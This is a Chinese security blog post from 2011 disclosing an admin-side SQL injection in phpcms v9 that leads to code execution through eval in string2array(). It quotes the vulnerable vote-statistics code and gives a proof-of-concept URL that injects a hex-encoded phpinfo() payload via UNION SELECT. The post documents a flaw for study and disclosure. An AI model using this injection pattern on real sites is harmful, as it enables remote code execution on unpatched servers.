phpcms v9 后台的一个(sql inj)2(code exec)漏洞

分类:安全 | 2011-09-10 | 撸过 60 次
0人扯谈

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞

function string2array($data) {

    if($data == ”) return array();

    eval(“\$array = $data;”);

    return $array;

}

比如投票结果统计(需要后台权限)
/moudles/vote/vote.php

/**

     * 投票结果统计

     */

    public function statistics() {

            $subjectid = $_GET[‘subjectid’];

            $show_validator = $show_scroll = $show_header = true;

             //获取投票信息

            $sdb = pc_base::load_model(‘vote_data_model’); //加载投票统计的数据模型

            $infos = $sdb->select(“subjectid = $subjectid”,’data’);    //$subjectid没有过滤

              //新建一数组用来存新组合数据

            $total = 0;

            $vote_data =array();

            $vote_data[‘total’] = 0 ;//所有投票选项总数

            $vote_data[‘votes’] = 0 ;//投票人数

            //循环每个会员的投票记录

            foreach($infos as $subjectid_arr) {//通过sql注入漏洞控制结果

                    extract($subjectid_arr);

                     $arr = string2array($data);//进入eval函数

                     foreach($arr as $key => $values){

                         $vote_data[$key]+=1;

                    }

                      $total += array_sum($arr);

                    $vote_data[‘votes’]++ ;

            }

             $vote_data[‘total’] = $total ;

             //取投票选项

            $options = $this->db2->get_options($subjectid);   

            include $this->admin_tpl(‘vote_statistics’);   

    }

poc代码

index.php?m=vote&c=vote&a=statistics&show_type=1&subjectid=0 union select 0x706870696E666F2829/*&siteid=1&pc_hash=LFeCIl

pc_hash每次不一样

 

本站内容均为原创,转载请务必保留署名与链接!
phpcms v9 后台的一个(sql inj)2(code exec)漏洞:https://www.webshell.cc/1195.html
标签:

相关日志